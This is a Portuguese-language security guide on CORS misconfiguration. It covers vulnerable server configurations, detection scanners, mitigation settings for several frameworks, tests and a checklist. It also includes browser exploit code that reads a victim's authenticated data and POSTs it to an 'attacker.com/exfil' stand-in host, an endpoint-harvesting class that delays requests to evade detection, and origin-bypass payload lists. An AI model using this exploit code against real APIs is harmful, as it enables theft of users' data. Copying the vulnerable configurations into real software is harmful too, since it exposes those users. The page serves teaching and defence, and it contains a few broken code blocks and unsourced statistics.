# Cross Origin Resource Sharing (CORS) Misconfiguration
## **🔍 Conceitos Fundamentais**
### **O que é CORS (Cross-Origin Resource Sharing)**
CORS é um mecanismo de segurança que permite que recursos restritos em uma página web sejam solicitados de outro domínio fora do domínio ao qual pertence o recurso que será solicitado.
### **Same-Origin Policy vs CORS**
```
Same-Origin Policy: Bloqueia requisições entre origens diferentes
CORS: Permite requisições cross-origin de forma controlada e segura
```
### **Componentes do CORS**
| Componente | Função | Exemplo |
| ---------------- | -------------------------------------------- | ----------------------------- |
| **Origin** | Domínio de origem da requisição | `https://app.com` |
| **Preflight** | Requisição OPTIONS para verificar permissões | `OPTIONS /api` |
| **Headers CORS** | Headers que controlam acesso cross-origin | `Access-Control-Allow-Origin` |
### **Headers CORS Principais**
```http
Access-Control-Allow-Origin: https://trusted-domain.com
Access-Control-Allow-Credentials: true
Access-Control-Allow-Methods: GET, POST, PUT
Access-Control-Allow-Headers: Content-Type, Authorization
Access-Control-Expose-Headers: X-Custom-Header
Access-Control-Max-Age: 86400
```
## **⚔️ Mecanismos de Vulnerabilidade**
### **Fluxo de Ataque CORS Misconfiguration**
```mermaid
sequenceDiagram
participant A as Atacante (evil.com)
participant V as Vítima (usuário autenticado)
participant S as Servidor Vulnerável (api.target.com)
participant C as Servidor do Atacante (collector.com)
Note over A,C: FASE 1: Reconhecimento da Configuração
A->>S: Envia requisição com Origin: evil.com
S->>S: Processa requisição CORS
S->>A: Retorna Access-Control-Allow-Origin: evil.com
A->>A: Identifica configuração vulnerável
Note over A,C: FASE 2: Preparação do Ataque
A->>A: Desenvolve página maliciosa em evil.com
A->>A: Cria script para fazer requisição cross-origin
A->>V: Engana vítima para visitar evil.com
Note over A,C: FASE 3: Execução do Ataque
V->>A: Acessa página maliciosa em evil.com
A->>S: Requisição cross-origin com credenciais
Note right of A: Inclui cookies de sessão da vítima
S->>S: Valida CORS (configuração permissiva)
S->>S: Processa requisição como legítima
S->>A: Retorna dados sensíveis da vítima
Note over A,C: FASE 4: Exfiltração de Dados
A->>A: Processa dados recebidos
A->>C: Encaminha dados sensíveis para servidor do atacante
C->>A: Confirma recebimento
A->>V: Pode redirecionar para página legítima
Note over A,C: FASE 5: Exploração Contínua
A->>S: Novas requisições para diferentes endpoints
S->>A: Retorna mais dados sensíveis
A->>C: Exfiltra dados continuamente
A->>A: Mantém ataque enquanto vítima está na página
```
### **Cenários de Misconfiguração Comuns**
#### **1. CORS com Wildcard e Credenciais**
```http
# CONFIGURAÇÃO VULNERÁVEL
HTTP/1.1 200 OK
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
Content-Type: application/json
{"data": "sensível"}
```
**Problema**: Wildcard (`*`) não pode ser usado com `Allow-Credentials: true`
#### **2. Validação de Origin Insuficiente**
```javascript
// BACKEND VULNERÁVEL (Node.js/Express)
app.use((req, res, next) => {
const origin = req.headers.origin;
// ⚠️ Validação fraca - permite qualquer subdomínio
if (origin && origin.endsWith('.example.com')) {
res.header('Access-Control-Allow-Origin', origin);
res.header('Access-Control-Allow-Credentials', 'true');
}
next();
});
```
#### **3. Reflexão de Origin**
```python
# FLASK VULNERÁVEL
@app.after_request
def after_request(response):
origin = request.headers.get('Origin')
# ⚠️ Reflexão direta do Origin - EXTREMAMENTE PERIGOSO
if origin:
response.headers['Access-Control-Allow-Origin'] = origin
response.headers['Access-Control-Allow-Credentials'] = 'true'
return response
```
#### **4. Configuração Excessivamente Permissiva**
```nginx
# NGINX VULNERÁVEL
location /api/ {
add_header Access-Control-Allow-Origin "*" always;
add_header Access-Control-Allow-Methods "*" always;
add_header Access-Control-Allow-Headers "*" always;
add_header Access-Control-Allow-Credentials "true" always;
# ⚠️ Configuração extremamente permissiva
}
```
### **Mecanismos Técnicos de Exploração**
#### **1. Exfiltração de Dados com XMLHttpRequest**
```html
Ataque CORS - evil.com
```
#### **2. Ataque com Fetch API**
```javascript
// Exploração com Fetch API moderna
async function corsAttack() {
try {
const response = await fetch('https://api.vulnerable.com/admin/data', {
method: 'GET',
credentials: 'include', // Inclui cookies de sessão
headers: {
'Content-Type': 'application/json'
}
});
if (response.ok) {
const data = await response.json();
// Exfiltrar dados
await fetch('https://attacker.com/exfil', {
method: 'POST',
body: JSON.stringify(data),
mode: 'no-cors'
});
}
} catch (error) {
console.error('Ataque falhou:', error);
}
}
```
## **🔎 Identificação e Detecção**
### **Indicadores de Configuração Vulnerável**
```bash
# Headers CORS perigosos
Access-Control-Allow-Origin: *
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true # Com wildcard ou origens não confiáveis
Access-Control-Allow-Methods: * # Métodos excessivos
Access-Control-Allow-Headers: * # Headers excessivos
# Padrões de validação fraca
Origin: https://attacker.com → ACAO: https://attacker.com # Reflexão
Origin: evil.example.com → ACAO: evil.example.com # Subdomínio wildcard
```
### **Metodologia de Teste Manual**
{% stepper %}
{% step %}
#### **1. Teste Básico de CORS**
```bash
# Testar configuração CORS com curl
curl -H "Origin: https://evil.com" \
-H "Access-Control-Request-Method: GET" \
-X OPTIONS \
https://api.target.com/user/profile
# Verificar headers de resposta
curl -H "Origin: https://evil.com" \
-I \
https://api.target.com/api/data
```
{% endstep %}
{% step %}
#### **2. Script de Detecção Automatizada**
```python
#!/usr/bin/env python3
# cors_scanner.py
import requests
import json
from urllib.parse import urljoin
import argparse
class CORSScanner:
"""
Scanner para detecção de misconfigurações CORS
"""
def __init__(self, target_url):
self.target_url = target_url
self.session = requests.Session()
self.vulnerabilities = []
# Origins de teste
self.test_origins = [
'https://evil.com',
'http://evil.com',
'https://attacker.com',
'https://target.com.evil.com',
'https://evil-target.com',
'null',
'https://google.com',
'https://example.com'
]
def test_cors_configuration(self, endpoint='/'):
"""Testar configuração CORS em endpoint específico"""
url = urljoin(self.target_url, endpoint)
print(f"[*] Testando CORS em: {url}")
for origin in self.test_origins:
try:
# Testar requisição OPTIONS (preflight)
options_headers = {
'Origin': origin,
'Access-Control-Request-Method': 'GET',
'Access-Control-Request-Headers': 'Content-Type'
}
options_response = self.session.options(
url,
headers=options_headers,
timeout=10
)
# Testar requisição GET normal
get_headers = {'Origin': origin}
get_response = self.session.get(
url,
headers=get_headers,
timeout=10
)
# Analisar vulnerabilidades
self.analyze_cors_response(origin, options_response, get_response, endpoint)
except Exception as e:
print(f"[!] Erro testando origin {origin}: {e}")
def analyze_cors_response(self, origin, options_response, get_response, endpoint):
"""Analisar resposta CORS por vulnerabilidades"""
vulnerabilities_found = []
# Headers das respostas
options_headers = options_response.headers
get_headers = get_response.headers
# 1. Verificar wildcard com credenciais
acao = get_headers.get('Access-Control-Allow-Origin')
acac = get_headers.get('Access-Control-Allow-Credentials')
if acao == '*' and acac == 'true':
vulnerabilities_found.append({
'type': 'WILDCARD_WITH_CREDENTIALS',
'severity': 'CRITICAL',
'description': 'Wildcard (*) usado com Allow-Credentials: true'
})
# 2. Verificar reflexão de origin
if acao == origin:
vulnerabilities_found.append({
'type': 'ORIGIN_REFLECTION',
'severity': 'HIGH',
'description': f'Origin refletido: {origin}'
})
# 3. Verificar validação de subdomínio
if acao and origin and self.is_subdomain_wildcard(acao, origin):
vulnerabilities_found.append({
'type': 'SUBDOMAIN_WILDCARD',
'severity': 'HIGH',
'description': f'Validação de subdomínio fraca: {origin}'
})
# 4. Verificar null origin
if acao == 'null':
vulnerabilities_found.append({
'type': 'NULL_ORIGIN',
'severity': 'MEDIUM',
'description': 'Null origin permitido'
})
# 5. Verificar métodos excessivos
acam = options_headers.get('Access-Control-Allow-Methods')
if acam == '*' or (acam and 'DELETE' in acam and 'PUT' in acam):
vulnerabilities_found.append({
'type': 'EXCESSIVE_METHODS',
'severity': 'MEDIUM',
'description': f'Métodos excessivos permitidos: {acam}'
})
# Registrar vulnerabilidades encontradas
if vulnerabilities_found:
self.vulnerabilities.append({
'endpoint': endpoint,
'origin': origin,
'vulnerabilities': vulnerabilities_found,
'response_headers': dict(get_headers)
})
print(f"[!] Vulnerabilidades encontradas com origin {origin}:")
for vuln in vulnerabilities_found:
print(f" - {vuln['type']}: {vuln['description']}")
def is_subdomain_wildcard(self, acao, origin):
"""Detectar validação de subdomínio wildcard"""
try:
from urllib.parse import urlparse
acao_domain = urlparse(acao).netloc
origin_domain = urlparse(origin).netloc
# Verificar se é subdomínio wildcard
if acao_domain.startswith('*.') and origin_domain.endswith(acao_domain[2:]):
return True
# Verificar validação por endsWith
if origin_domain.endswith(acao_domain):
return True
except Exception:
pass
return False
def test_multiple_endpoints(self, endpoints=None):
"""Testar múltiplos endpoints"""
if endpoints is None:
endpoints = [
'/',
'/api/',
'/api/user',
'/api/admin',
'/graphql',
'/rest/users'
]
for endpoint in endpoints:
self.test_cors_configuration(endpoint)
def generate_poc(self, vulnerable_endpoint):
"""Gerar prova de conceito para exploração"""
poc_html = f"""
CORS Exploit PoC - {self.target_url}
CORS Misconfiguration Exploit
Alvo: {self.target_url}
Endpoint: {vulnerable_endpoint}
"""
return poc_html
def generate_report(self):
"""Gerar relatório de vulnerabilidades"""
return {
'target_url': self.target_url,
'vulnerabilities_found': len(self.vulnerabilities),
'vulnerabilities': self.vulnerabilities
}
# Uso do scanner
if __name__ == "__main__":
parser = argparse.ArgumentParser(description='Scanner de Misconfiguração CORS')
parser.add_argument('target', help='URL alvo')
parser.add_argument('--endpoints', help='Arquivo com lista de endpoints', default=None)
args = parser.parse_args()
scanner = CORSScanner(args.target)
# Carregar endpoints se fornecido
endpoints = None
if args.endpoints:
with open(args.endpoints, 'r') as f:
endpoints = [line.strip() for line in f if line.strip()]
scanner.test_multiple_endpoints(endpoints)
report = scanner.generate_report()
print(f"\n[+] Scan completo. Vulnerabilidades encontradas: {report['vulnerabilities_found']}")
# Gerar PoC para primeira vulnerabilidade crítica
if report['vulnerabilities']:
first_vuln = report['vulnerabilities'][0]
poc = scanner.generate_poc(first_vuln['endpoint'])
with open('cors_exploit_poc.html', 'w') as f:
f.write(poc)
print("[+] PoC salvo como: cors_exploit_poc.html")
```
{% endstep %}
{% endstepper %}
### **Técnicas de Detecção Avançadas**
#### **1. Teste de Bypass de Validação**
```python
def test_validation_bypass(target_url):
"""Testar bypass de validação de origin"""
bypass_payloads = [
'https://target.com.attacker.com',
'https://attacker.com/target.com',
'https://target.com@attacker.com',
'https://target.com.attacker.com',
'target.com.attacker.com',
'target.com',
'TARGET.COM',
'Target.com',
'https://target.com\\@attacker.com'
]
for payload in bypass_payloads:
try:
response = requests.get(
target_url,
headers={'Origin': payload},
timeout=5
)
acao = response.headers.get('Access-Control-Allow-Origin')
if acao and payload.lower() in acao.lower():
print(f"[!] Bypass possível com: {payload}")
except Exception as e:
continue
```
#### **2. Verificação de Headers Exposados**
```python
def check_exposed_headers(target_url):
"""Verificar headers sensíveis expostos via CORS"""
sensitive_headers = [
'Authorization', 'X-Auth-Token', 'X-API-Key',
'X-CSRF-Token', 'Set-Cookie', 'X-User-Id'
]
response = requests.get(target_url)
expose_headers = response.headers.get('Access-Control-Expose-Headers', '')
exposed_sensitive = [
header for header in sensitive_headers
if header in expose_headers
]
if exposed_sensitive:
print(f"[!] Headers sensíveis expostos: {exposed_sensitive}")
```
## **💥 Exploração e Impacto**
### **Técnicas de Exploração Avançadas**
#### **1. Exfiltração de Dados com Credenciais**
```html
CORS Data Exfiltration
```
#### **2. Ataque com XHR e WebSocket**
```javascript
// Exploração avançada com múltiplas técnicas
class CORSExploit {
constructor(targetBaseUrl) {
this.targetBaseUrl = targetBaseUrl;
this.collectedData = [];
}
// Exploração com XMLHttpRequest
xhrExploit(endpoint) {
return new Promise((resolve) => {
const xhr = new XMLHttpRequest();
xhr.open('GET', `${this.targetBaseUrl}${endpoint}`, true);
xhr.withCredentials = true;
xhr.onreadystatechange = () => {
if (xhr.readyState === 4) {
resolve({
endpoint: endpoint,
status: xhr.status,
data: xhr.responseText,
method: 'XHR'
});
}
};
xhr.send();
});
}
// Exploração com Fetch API
async fetchExploit(endpoint, method = 'GET', data = null) {
try {
const config = {
method: method,
credentials: 'include',
headers: {
'Content-Type': 'application/json'
}
};
if (data && method !== 'GET') {
config.body = JSON.stringify(data);
}
const response = await fetch(`${this.targetBaseUrl}${endpoint}`, config);
const responseData = await response.text();
return {
endpoint: endpoint,
status: response.status,
data: responseData,
method: 'FETCH'
};
} catch (error) {
return {
endpoint: endpoint,
status: 'ERROR',
error: error.message,
method: 'FETCH'
};
}
}
// Exploração em lote
async batchExploit(endpoints) {
const results = [];
for (const endpoint of endpoints) {
// Tentar ambos os métodos
const xhrResult = await this.xhrExploit(endpoint);
const fetchResult = await this.fetchExploit(endpoint);
results.push(xhrResult, fetchResult);
// Pequeno delay para evitar detecção
await this.delay(100);
}
return results;
}
delay(ms) {
return new Promise(resolve => setTimeout(resolve, ms));
}
}
// Uso
const exploit = new CORSExploit('https://vulnerable-api.com');
const endpoints = ['/api/user', '/api/settings', '/api/admin/dashboard'];
exploit.batchExploit(endpoints).then(results => {
console.log('Dados coletados:', results);
// Exfiltrar dados
});
```
### **Impacto do CORS Misconfiguration**
#### **Cenários de Ataque e Impacto**
```json
{
"data_exfiltration": {
"impacto": "Crítico",
"cenario": "Roubo de dados sensíveis de usuários autenticados",
"consequencias": [
"Exposição de informações pessoais (PII)",
"Roubo de dados financeiros",
"Acesso a comunicações privadas",
"Violação de compliance (GDPR, LGPD)"
]
},
"privilege_escalation": {
"impacto": "Alto",
"cenario": "Acesso a funcionalidades administrativas",
"consequencias": [
"Modificação de dados de outros usuários",
"Execução de ações administrativas",
"Criação de contas com privilégios elevados",
"Bypass de controles de acesso"
]
},
"account_takeover": {
"impacto": "Crítico",
"cenario": "Comprometimento completo de contas",
"consequencias": [
"Acesso a sessões ativas de usuários",
"Modificação de credenciais",
"Realização de ações em nome do usuário",
"Roubo de identidade digital"
]
},
"business_impact": {
"impacto": "Alto",
"cenario": "Impacto financeiro e de reputação",
"consequencias": [
"Multas regulatórias",
"Perda de confiança dos clientes",
"Custos com resposta a incidentes",
"Danos à marca e reputação"
]
}
}
```
#### **Estatísticas de Impacto**
```
- 15% das APIs possuem misconfigurações CORS
- 60% dos desenvolvedores não entendem CORS completamente
- Tempo médio para exploração: 2-4 horas
- Dados expostos: credenciais, PII, dados financeiros
- Impacto financeiro médio: $65,000 por incidente
```
## **🛡️ Mitigação e Correção**
### **Estratégias de Defesa em Camadas**
#### **1. Configuração Segura por Framework**
{% tabs %}
{% tab title="Express.js (Node.js)" %}
```javascript
const express = require('express');
const cors = require('cors');
const app = express();
// ✅ CONFIGURAÇÃO SEGURA - Whitelist explícita
const allowedOrigins = [
'https://myapp.com',
'https://www.myapp.com',
'https://app.myapp.com'
];
const corsOptions = {
origin: function (origin, callback) {
// Permitir requisições sem Origin (como mobile apps, curl)
if (!origin) return callback(null, true);
// ✅ Verificar se origin está na whitelist
if (allowedOrigins.indexOf(origin) !== -1) {
callback(null, true);
} else {
callback(new Error('CORS não permitido para esta origem'));
}
},
credentials: true, // ✅ Apenas com origens validadas
methods: ['GET', 'POST', 'PUT', 'DELETE'],
allowedHeaders: ['Content-Type', 'Authorization'],
exposedHeaders: ['X-Total-Count'],
maxAge: 86400 // 24 horas
};
app.use(cors(corsOptions));
// Middleware adicional para segurança
app.use((req, res, next) => {
// Headers de segurança adicionais
res.header('X-Content-Type-Options', 'nosniff');
res.header('X-Frame-Options', 'DENY');
res.header('X-XSS-Protection', '1; mode=block');
next();
});
```
{% endtab %}
{% tab title="Django" %}
```python
# settings.py
# ✅ CONFIGURAÇÃO SEGURA Django CORS
CORS_ALLOWED_ORIGINS = [
"https://myapp.com",
"https://www.myapp.com",
"https://app.myapp.com",
]
# ✅ Apenas origens específicas podem usar credenciais
CORS_ALLOW_CREDENTIALS = True
# ✅ Métodos permitidos
CORS_ALLOW_METHODS = [
'GET',
'POST',
'PUT',
'PATCH',
'DELETE',
'OPTIONS'
]
# ✅ Headers permitidos
CORS_ALLOW_HEADERS = [
'content-type',
'authorization',
'x-csrftoken'
]
# ✅ NUNCA usar wildcard com credenciais
CORS_ALLOW_ALL_ORIGINS = False # ⚠️ PERIGOSO se True
# Middleware
MIDDLEWARE = [
'corsheaders.middleware.CorsMiddleware',
'django.middleware.common.CommonMiddleware',
# ... outros middlewares
]
```
{% endtab %}
{% tab title="Spring Boot" %}
```java
@Configuration
@EnableWebMvc
public class CorsConfig implements WebMvcConfigurer {
@Override
public void addCorsMappings(CorsRegistry registry) {
// ✅ CONFIGURAÇÃO SEGURA
registry.addMapping("/api/**")
.allowedOrigins(
"https://myapp.com",
"https://www.myapp.com",
"https://app.myapp.com"
)
.allowedMethods("GET", "POST", "PUT", "DELETE", "OPTIONS")
.allowedHeaders("Content-Type", "Authorization", "X-Requested-With")
.exposedHeaders("X-Total-Count")
.allowCredentials(true) // ✅ Apenas com origens específicas
.maxAge(3600L);
}
}
// Configuração adicional de segurança
@Configuration
public class SecurityConfig extends WebSecurityConfigurerAdapter {
@Override
protected void configure(HttpSecurity http) throws Exception {
http
.cors().and() // ✅ Habilitar CORS configurado
.csrf().disable() // Apenas se for API stateless
.headers()
.contentTypeOptions().and()
.frameOptions().deny().and()
.authorizeRequests()
.antMatchers("/api/public/**").permitAll()
.antMatchers("/api/**").authenticated();
}
}
```
{% endtab %}
{% endtabs %}
#### **2. Configuração de Web Server Segura**
{% tabs %}
{% tab title="Nginx" %}
```nginx
# ✅ CONFIGURAÇÃO SEGURA NGINX
server {
listen 80;
server_name api.myapp.com;
# Configuração CORS segura
location /api/ {
# ✅ Validar origin dinamicamente
set $cors_origin "";
if ($http_origin ~* "^https://(myapp|www\.myapp|app\.myapp)\.com$") {
set $cors_origin $http_origin;
}
# ✅ Aplicar headers CORS apenas para origens válidas
if ($cors_origin != "") {
add_header 'Access-Control-Allow-Origin' $cors_always;
add_header 'Access-Control-Allow-Credentials' 'true';
add_header 'Access-Control-Allow-Methods' 'GET, POST, PUT, DELETE, OPTIONS';
add_header 'Access-Control-Allow-Headers' 'Content-Type, Authorization, X-Requested-With';
add_header 'Access-Control-Expose-Headers' 'X-Total-Count';
add_header 'Access-Control-Max-Age' 86400;
}
# Handler para requisições OPTIONS
if ($request_method = 'OPTIONS') {
return 204;
}
proxy_pass http://backend;
}
# Headers de segurança globais
add_header X-Content-Type-Options "nosniff" always;
add_header X-Frame-Options "DENY" always;
add_header X-XSS-Protection "1; mode=block" always;
}
```
{% endtab %}
{% tab title="Apache" %}
```apache
# ✅ CONFIGURAÇÃO SEGURA APACHE
ServerName api.myapp.com
# Header CORS seguro
Header always set Access-Control-Allow-Methods "GET, POST, PUT, DELETE, OPTIONS"
Header always set Access-Control-Allow-Headers "Content-Type, Authorization, X-Requested-With"
Header always set Access-Control-Allow-Credentials "true"
Header always set Access-Control-Max-Age "86400"
# ✅ Origin validation via mod_rewrite
RewriteEngine On
RewriteCond %{HTTP:Origin} ^https://(myapp|www\.myapp|app\.myapp)\.com$ [NC]
RewriteRule .* - [E=VALID_ORIGIN:%1]
Header always set Access-Control-Allow-Origin "%{VALID_ORIGIN}e" env=VALID_ORIGIN
# Headers de segurança
Header always set X-Content-Type-Options "nosniff"
Header always set X-Frame-Options "DENY"
Header always set X-XSS-Protection "1; mode=block"
```
{% endtab %}
{% endtabs %}
### **Validação e Sanitização Avançada**
#### **1. Middleware de Validação Customizado**
```javascript
// middleware/corsValidator.js
class CORSValidator {
constructor() {
this.allowedOrigins = new Set([
'https://myapp.com',
'https://www.myapp.com',
'https://app.myapp.com'
]);
this.allowedMethods = new Set(['GET', 'POST', 'PUT', 'DELETE', 'OPTIONS']);
this.allowedHeaders = new Set(['content-type', 'authorization', 'x-requested-with']);
}
validateOrigin(origin) {
if (!origin) {
// Permitir requisições sem origin (mobile apps, etc.)
return { valid: true, allowCredentials: false };
}
try {
const url = new URL(origin);
// ✅ Validação estrita do host
if (!this.allowedOrigins.has(url.origin)) {
return { valid: false, reason: 'Origin não permitido' };
}
// ✅ Validações adicionais de segurança
if (!this.isSecureProtocol(url)) {
return { valid: false, reason: 'Protocolo não seguro' };
}
if (!this.isValidHost(url.hostname)) {
return { valid: false, reason: 'Host inválido' };
}
return { valid: true, allowCredentials: true };
} catch (error) {
return { valid: false, reason: 'Origin malformado' };
}
}
isSecureProtocol(url) {
return url.protocol === 'https:';
}
isValidHost(hostname) {
// Prevenir bypass com caracteres especiais
return /^[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}$/.test(hostname);
}
validateMethod(method) {
return this.allowedMethods.has(method.toUpperCase());
}
validateHeaders(headers) {
const headerList = headers.split(',').map(h => h.trim().toLowerCase());
return headerList.every(header => this.allowedHeaders.has(header));
}
}
// Uso no Express
const validator = new CORSValidator();
app.use((req, res, next) => {
const origin = req.headers.origin;
const validation = validator.validateOrigin(origin);
if (validation.valid) {
if (origin) {
res.header('Access-Control-Allow-Origin', origin);
}
if (validation.allowCredentials) {
res.header('Access-Control-Allow-Credentials', 'true');
}
}
// Preflight requests
if (req.method === 'OPTIONS') {
const method = req.headers['access-control-request-method'];
const headers = req.headers['access-control-request-headers'];
if (method && !validator.validateMethod(method)) {
return res.status(403).json({ error: 'Método não permitido' });
}
if (headers && !validator.validateHeaders(headers)) {
return res.status(403).json({ error: 'Headers não permitidos' });
}
res.header('Access-Control-Allow-Methods', 'GET, POST, PUT, DELETE');
res.header('Access-Control-Allow-Headers', 'Content-Type, Authorization');
res.header('Access-Control-Max-Age', '86400');
return res.status(204).send();
}
next();
});
```
#### **2. Sistema de Monitoramento e Logging**
```javascript
// monitoring/corsMonitor.js
class CORSMonitor {
constructor() {
this.suspiciousPatterns = [
/evil/i,
/attacker/i,
/malicious/i,
/\.tk$/, /\.ml$/, /\.ga$/, /\.cf$/, // Domínios free suspeitos
/localhost/,
/127\.0\.0\.1/,
/\.example\.com$/,
/\.local$/
];
}
logCORSRequest(req, validationResult) {
const logEntry = {
timestamp: new Date().toISOString(),
ip: req.ip,
origin: req.headers.origin || 'none',
userAgent: req.headers['user-agent'],
endpoint: req.path,
method: req.method,
validation: validationResult,
suspicious: this.isSuspiciousRequest(req)
};
// Log para análise de segurança
if (logEntry.suspicious || !validationResult.valid) {
console.warn('Requisição CORS suspeita:', logEntry);
this.alertSecurityTeam(logEntry);
}
// Log normal para auditoria
console.log('Requisição CORS:', logEntry);
}
isSuspiciousRequest(req) {
const origin = req.headers.origin;
if (!origin) return false;
return this.suspiciousPatterns.some(pattern =>
pattern.test(origin)
);
}
alertSecurityTeam(logEntry) {
// Implementar notificação para equipe de segurança
// Slack, email, SIEM, etc.
console.error('ALERTA SEGURANÇA - CORS suspeito:', logEntry);
}
}
// Integração com a aplicação
const monitor = new CORSMonitor();
app.use((req, res, next) => {
const origin = req.headers.origin;
const validation = validator.validateOrigin(origin);
// Logging e monitoramento
monitor.logCORSRequest(req, validation);
next();
});
```
### **Configurações Específicas por Ambiente**
#### **1. Desenvolvimento vs Produção**
```javascript
// config/cors.js
const developmentOrigins = [
'http://localhost:3000',
'http://127.0.0.1:3000',
'http://localhost:8080',
'https://localhost:3000'
];
const productionOrigins = [
'https://myapp.com',
'https://www.myapp.com',
'https://app.myapp.com'
];
function getCorsConfig(environment) {
const isDevelopment = environment === 'development';
return {
origin: isDevelopment ? developmentOrigins : productionOrigins,
credentials: true,
methods: ['GET', 'POST', 'PUT', 'DELETE', 'OPTIONS'],
allowedHeaders: ['Content-Type', 'Authorization'],
exposedHeaders: ['X-Total-Count'],
maxAge: isDevelopment ? 600 : 86400, // 10min dev vs 24h prod
// Configurações específicas por ambiente
optionsSuccessStatus: 204,
preflightContinue: false
};
}
module.exports = getCorsConfig;
```
#### **2. Configuração para Diferentes Tipos de API**
```javascript
// Configurações específicas por tipo de endpoint
const corsConfigs = {
// API pública (leitura apenas)
public: {
origin: '*', // ✅ Apenas para APIs públicas
credentials: false, // ⚠️ Sem credenciais com wildcard
methods: ['GET', 'OPTIONS'],
exposedHeaders: []
},
// API autenticada (usuários)
authenticated: {
origin: ['https://myapp.com', 'https://app.myapp.com'],
credentials: true,
methods: ['GET', 'POST', 'PUT', 'DELETE', 'OPTIONS'],
exposedHeaders: ['X-Total-Count']
},
// API administrativa
admin: {
origin: ['https://admin.myapp.com'],
credentials: true,
methods: ['GET', 'POST', 'PUT', 'DELETE', 'OPTIONS'],
exposedHeaders: ['X-Total-Count', 'X-Admin-Stats']
}
};
// Aplicar configurações por rota
app.use('/api/public/', cors(corsConfigs.public));
app.use('/api/', cors(corsConfigs.authenticated));
app.use('/api/admin/', cors(corsConfigs.admin));
```
## **🔧 Ferramentas e Testes**
### **Ferramentas de Teste Automatizado**
#### **1. Scanner CORS com Múltiplas Técnicas**
```python
#!/usr/bin/env python3
# advanced_cors_scanner.py
import requests
import json
import re
from urllib.parse import urlparse
class AdvancedCORSScanner:
"""
Scanner avançado para misconfigurações CORS
"""
def __init__(self, target_url):
self.target_url = target_url
self.session = requests.Session()
self.results = {}
# Payloads avançados de teste
self.test_payloads = self.generate_test_payloads()
def generate_test_payloads(self):
"""Gerar payloads avançados para teste CORS"""
base_domain = urlparse(self.target_url).netloc
return {
'wildcard_variants': [
'https://evil.com',
'http://evil.com',
'https://attacker.com',
'null',
'https://' + base_domain + '.evil.com',
'https://evil-' + base_domain,
base_domain + '.evil.com',
'https://' + base_domain + '@evil.com',
'https://' + base_domain + '.evil.com'
],
'case_variants': [
'https://' + base_domain.upper(),
'https://' + base_domain.title(),
'HTTPS://' + base_domain.upper()
],
'special_chars': [
'https://' + base_domain + '.evil.com',
'https://' + base_domain + '%40evil.com',
'https://' + base_domain + '%2Eevil.com'
]
}
def comprehensive_scan(self):
"""Executar scan abrangente"""
print(f"[*] Iniciando scan CORS avançado em: {self.target_url}")
# Testar diferentes métodos HTTP
for method in ['GET', 'POST', 'PUT', 'DELETE']:
self.test_method(method)
# Testar diferentes endpoints
endpoints = ['/', '/api/', '/api/user', '/admin', '/graphql']
for endpoint in endpoints:
self.test_endpoint(endpoint)
# Testar validação de preflight
self.test_preflight_validation()
return self.generate_report()
def test_method(self, method):
"""Testar configuração CORS para método específico"""
print(f"[*] Testando método: {method}")
for category, payloads in self.test_payloads.items():
for origin in payloads:
try:
response = self.session.request(
method,
self.target_url,
headers={'Origin': origin},
timeout=5
)
self.analyze_response(method, origin, response, category)
except Exception as e:
print(f"[-] Erro com {origin}: {e}")
def test_endpoint(self, endpoint):
"""Testar endpoint específico"""
url = self.target_url.rstrip('/') + endpoint
for origin in self.test_payloads['wildcard_variants']:
try:
response = self.session.get(
url,
headers={'Origin': origin},
timeout=5
)
self.analyze_response('GET', origin, response, 'endpoint_test')
except Exception as e:
continue
def test_preflight_validation(self):
"""Testar validação de requisições preflight"""
print("[*] Testando requisições OPTIONS (preflight)")
for origin in self.test_payloads['wildcard_variants']:
try:
response = self.session.options(
self.target_url,
headers={
'Origin': origin,
'Access-Control-Request-Method': 'POST',
'Access-Control-Request-Headers': 'Content-Type'
},
timeout=5
)
self.analyze_preflight(origin, response)
except Exception as e:
continue
def analyze_response(self, method, origin, response, category):
"""Analisar resposta CORS"""
headers = response.headers
acao = headers.get('Access-Control-Allow-Origin')
acac = headers.get('Access-Control-Allow-Credentials')
if not acao:
return
# Detectar vulnerabilidades
vulnerabilities = []
if acao == '*' and acac == 'true':
vulnerabilities.append('WILDCARD_WITH_CREDENTIALS')
if acao == origin:
vulnerabilities.append('ORIGIN_REFLECTION')
if acao == 'null':
vulnerabilities.append('NULL_ORIGIN')
# Registrar resultados
if vulnerabilities:
key = f"{method}_{category}"
if key not in self.results:
self.results[key] = []
self.results[key].append({
'origin': origin,
'acao': acao,
'acac': acac,
'vulnerabilities': vulnerabilities
})
print(f"[!] Vulnerabilidade encontrada: {vulnerabilities} com origin {origin}")
# Uso
scanner = AdvancedCORSScanner('https://api.target.com')
results = scanner.comprehensive_scan()
```
### **Testes de Integração Automatizados**
#### **1. Testes Unitários para CORS**
```javascript
// test/cors.test.js
const request = require('supertest');
const app = require('../app');
describe('CORS Configuration Tests', () => {
test('Should allow requests from whitelisted origins', async () => {
const response = await request(app)
.get('/api/data')
.set('Origin', 'https://myapp.com')
.expect(200);
expect(response.headers['access-control-allow-origin']).toBe('https://myapp.com');
expect(response.headers['access-control-allow-credentials']).toBe('true');
});
test('Should block requests from non-whitelisted origins', async () => {
const response = await request(app)
.get('/api/data')
.set('Origin', 'https://evil.com')
.expect(200); // A aplicação pode responder, mas sem CORS
expect(response.headers['access-control-allow-origin']).toBeUndefined();
});
test('Should not allow wildcard with credentials', async () => {
const response = await request(app)
.get('/api/public') // Endpoint público
.set('Origin', 'https://anydomain.com');
// Se usar wildcard, não deve permitir credenciais
if (response.headers['access-control-allow-origin'] === '*') {
expect(response.headers['access-control-allow-credentials']).toBeUndefined();
}
});
test('Should handle preflight requests correctly', async () => {
const response = await request(app)
.options('/api/data')
.set('Origin', 'https://myapp.com')
.set('Access-Control-Request-Method', 'POST')
.set('Access-Control-Request-Headers', 'Content-Type')
.expect(204);
expect(response.headers['access-control-allow-methods']).toContain('POST');
expect(response.headers['access-control-allow-headers']).toContain('Content-Type');
});
});
```
## **📋 Checklists de Segurança**
### **Checklist de Prevenção CORS**
* [ ] **Configuração de Origem**
* [ ] Whitelist explícita de origens permitidas
* [ ] Nunca usar wildcard (`*`) com `Allow-Credentials: true`
* [ ] Validação estrita do header `Origin`
* [ ] Bloqueio de origens `null` não necessárias
* [ ] **Configuração de Métodos e Headers**
* [ ] Lista explícita de métodos HTTP permitidos
* [ ] Lista explícita de headers permitidos
* [ ] Exposição mínima de headers customizados
* [ ] Configuração adequada de `Max-Age`
* [ ] **Validação e Segurança**
* [ ] Validação do protocolo (apenas HTTPS em produção)
* [ ] Prevenção de ataques de parser differential
